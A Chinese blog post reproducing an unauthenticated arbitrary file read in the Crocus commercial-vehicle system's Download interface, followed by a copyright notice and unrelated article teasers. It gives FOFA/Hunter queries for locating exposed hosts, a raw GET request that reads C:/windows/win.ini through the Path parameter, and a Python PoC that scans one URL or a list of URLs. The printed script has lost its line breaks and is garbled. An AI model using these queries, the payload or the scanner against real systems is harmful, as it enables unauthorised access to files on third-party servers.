【漏洞复现】Crocus系统——Download——文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

Crocus系统旨在利用人工智能、高清视频、大数据和自动驾驶技术,帮助商用车减少交通事故和货物丢失,提高企业或车队的运营效率。其Download接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件。

漏洞复现

1)信息收集
fofa:body="inp_verification"
hunter:web.body="inp_verification"
在这里插入图片描述
生活中最重要的不是凯旋,而是奋斗。
在这里插入图片描述
2)构造数据包

GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
Host:ip

在这里插入图片描述
成功读取win.ini文件,存在任意文件读取漏洞

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
该脚本用于检测目标URL是否存在Crocus-Download任意文件读取漏洞。
通过发送HTTP请求并检查响应内容来判断漏洞是否存在。
"""import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning# 忽略SSL证书验证警告
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定义常量,用于文本颜色高亮
RED = '\033[91m'
RESET = '\033[0m'def check_file_read(url):"""检查给定URL是否存在任意文件读取漏洞。:param url: 待检测的URL。"""# 设置User-Agent头,模拟浏览器请求headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'}# 构造请求的URL,尝试读取C:/windows/win.ini文件file_read_url = f"{url.rstrip('/')}/Service.do?Action=Download&Path=C:/windows/win.ini"try:# 发送GET请求,并忽略SSL证书验证response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)# 检查响应状态码是否为200,并且响应内容是否包含"fonts",作为漏洞存在的标志if response.status_code == 200 and "fonts" in response.text:print(f"{RED}URL [{url}] 存在 Crocus-Download 任意文件读取漏洞{RESET}")else:print(f"URL [{url}] 可能不存在漏洞")except requests.RequestException as e:# 打印请求过程中发生的异常print(f"URL [{url}] 请求失败: {e}")def main():"""主函数,负责解析命令行参数并调用漏洞检测函数。"""# 使用argparse库解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在 Crocus-Download 任意文件读取漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 如果指定了URL参数if args.url:# 如果URL没有以http://或https://开头,自动添加if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_file_read(args.url)# 如果指定了文件参数elif args.file:# 打开文件,读取其中的URLswith open(args.file, 'r') as file:urls = file.read().splitlines()# 遍历每个URL进行检测for url in urls:# 如果URL没有以http://或https://开头,自动添加if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_file_read(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述


实践是检验真理的唯一标准。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/44697.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux编程:使用 AddressSanitizer (ASan) 进行C/C++内存错误检测

文章目录 概要ASan 的配置与运行时优化CMake 配置运行时环境变量 ARM64 ASan库交叉编译动态链接 VS 静态链接示例:内存泄漏检测ASan 检测结果 概要 AddressSanitizer(ASan)是内存错误检测的强大工具,本文将介绍如何在 ARM64 系统…

福克斯波罗FOXBOROFBM202处理器 控制器 模块

福克斯波罗FOXBOROFBM202电梯是现代建筑内关系到人民生命财产安全的重要交通工具。如何提高电梯的运行效率、降低电梯能耗以及减少机械磨损、延长电梯的使用寿命,都是非常重要的研究课题。电梯是楼层用以固定提升的成套设备,具有安全可靠、乘坐舒适、停层…

ConditionalOnMissingClass注解使用介绍、应用场景以及示例代码

概述 ConditionalOnMissingClass 是 Spring Framework 中的一个条件注解,它用于在类路径中缺少指定的类时决定是否创建一个 bean 或配置一个 bean。这个注解允许开发者根据类的存在与否来动态地配置应用程序上下文中的组件。 应用场景 兼容性处理: 当需要在不同的运…

工程化-vue3+ts:代码检测工具 ESLint

一、理解ESLint ESLint是一个开源的JavaScript代码检查工具,用于帮助开发人员规范和统一编码风格。它可以检查代码中的潜在错误、不一致的编码习惯以及一些常见的代码问题。 ESLint使用基于规则的插件体系,可以根据项目的需求和个人的偏好配置不同的规…

数据库数据恢复—SQL Server数据库由于存放空间不足报错的数据恢复案例

SQL Server数据库数据恢复环境: 某品牌服务器存储中有两组raid5磁盘阵列。操作系统层面跑着SQL Server数据库,SQL Server数据库存放在D盘分区中。 SQL Server数据库故障: 存放SQL Server数据库的D盘分区容量不足,管理员在E盘中生…

MacOS如何切换shell类型

切换 shell 类型 如果你想在不同的 shell 之间切换,以探索它们的不同之处,或者因为你知道自己需要其中的一个或另一个,可以使用如下命令: 切换到 bash chsh -s $(which bash)切换到 zsh chsh -s $(which zsh)$()语法的作用是运…

FastGPT:给 GPT 插上知识库的翅膀!0基础搭建本地私有知识库,有手就行

写在前面 上一篇,我们部署了接口管理和分发神器-OneAPI,将所有大模型一键封装成OpenAI协议。见:[OneAPI)。 基于此,本篇继续带领大家搭建一个基于本地知识库检索的问答系统。 有同学说 Coze 不也可以实现同样功能么&#xff1f…

51单片机:电脑通过串口控制LED亮灭(附溢出率和波特率详解)

一、功能实现 1.电脑通过串口发送数据:0F 2.点亮4个LED 二、注意事项 1.发送和接受数据的文本模式 2.串口要对应 3.注意串口的波特率要和程序中的波特率保持一致 4.有无校验位和停止位 三、如何使用串口波特率计算器 1.以本程序为例 2.生成代码如下 void Uar…

[论文笔记]涨点近5%! 以内容中心的检索增强生成可扩展的级联框架:Pistis-RAG

引言 今天带来一篇较新RAG的论文笔记:Pistis-RAG: A Scalable Cascading Framework Towards Content-Centric Retrieval-Augmented Generation。 在希腊神话中,Pistis象征着诚信、信任和可靠性。受到这些原则的启发,Pistis-RAG是一个可扩展…

windows远程桌面到 Linux系统(Ubuntu:22.04)—— 安装xrdp软件

1、在Linux系统上安装xrdp软件 sudo apt update sudo apt install xrdp2、安装完成后,需要开启xrdp服务 sudo systemctl start xrdp sudo systemctl enable xrdp打印返回 Synchronizing state of xrdp.service with SysV service script with /lib/systemd/system…

一键叫车|开发打车小程序,随时随地便利出行!

随着移动互联网的普及,人们出行的方式也在不断发生变化。对于出行多样化和便捷化的需求,一款打车小程序可以方便人们的出行,提高出行效率和便捷性。打车小程序能够根据用户的出行需求为其打造个性化的出行方案,从而让用户的出行生…

【DevOps】在云原生时代的角色与重要性探索

🐇明明跟你说过:个人主页 🏅个人专栏:《未来已来:云原生之旅》🏅 🔖行路有良友,便是天堂🔖 目录 一、引言 1、什么是云原生 2、云原生的核心特性 3、什么是DevOps…

网络建设与运维python脚本应用

python 脚本 (1)在linux4 上编写/root/createfile.py 的 python3 脚 本,创建20 个 文 件 /root/python/file00 至 /root/python/file19,如果文件存在,则删除再创建;每个文 件的内容同文件名,如…

【高中数学/指数、对数】已知9^m=10,a=10^m-11,b=8^m-9,则ab两数和0的大小关系是?(2022年全国统考高考真题)

【问题】 已知9^m10,a10^m-11,b8^m-9,则() A.a>0>b B.a>b>0 C.b>a>0 D.b>0>a 【解答】 首先注意到10^log10_11-110,8^log8_9-90, 问题就转化为log8_9,log9_10,log10_11谁大谁小的问题, 再进一步…

Spring Data MongoDB 自定义转换器:写入和读取 LocalDateTime

Spring Data MongoDB 自定义转换器:写入和读取 LocalDateTime 引言 在使用 Spring Data MongoDB 时,有时需要将特定类型(如 LocalDateTime)与 MongoDB 文档中的特定格式(如时间戳)之间进行自定义转换。本…

C++ //练习 14.50 在初始化ex1和ex2的过程中,可能用到哪些类类型的转换序列呢?说明初始化是否正确并解释原因。

C Primer(第5版) 练习 14.50 练习 14.50 在初始化ex1和ex2的过程中,可能用到哪些类类型的转换序列呢?说明初始化是否正确并解释原因。 struct LongDouble{LongDouble(double 0.0);operator double();operator float(); }; Long…

在 C# .NET 中,首选静态 HashData 方法而不是 ComputeHash

在 .NET 中,哈希处理是一项常见任务,无论是用于数据完整性检查、密码哈希处理还是其他加密目的。传统上,开发人员使用各种哈希算法(例如 SHA256、MD5)提供的 ComputeHash 方法。但是,随着静态 HashData 方法…

Python面试题:如何在 Python 中解析 XML 文件?

在 Python 中解析 XML 文件可以使用内置的 xml.etree.ElementTree 模块。以下是一个示例,展示了如何使用这个模块解析 XML 文件: 读取 XML 文件: import xml.etree.ElementTree as ET# 读取 XML 文件 tree ET.parse(example.xml) root tr…

springboot+vue项目实战2024第四集修改文章信息

1.添加文章信息 PostMappingpublic Result add(RequestBody Validated Article article){articleService.add(article);return Result.success();}void add(Article article); Override public void add(Article article) {article.setCreateTime(LocalDateTime.now());article…

openssl等库降级到系统原生安装镜像版本

在安装开发库时,看到curl glib2 libcurl openssl库被更新了,这不是我想要的。如下所示: Verifying : curl-8.4.0-5.oe2403.x86_64 29/38 Verifying : curl-8.4.0-3.oe2403.x86_64 …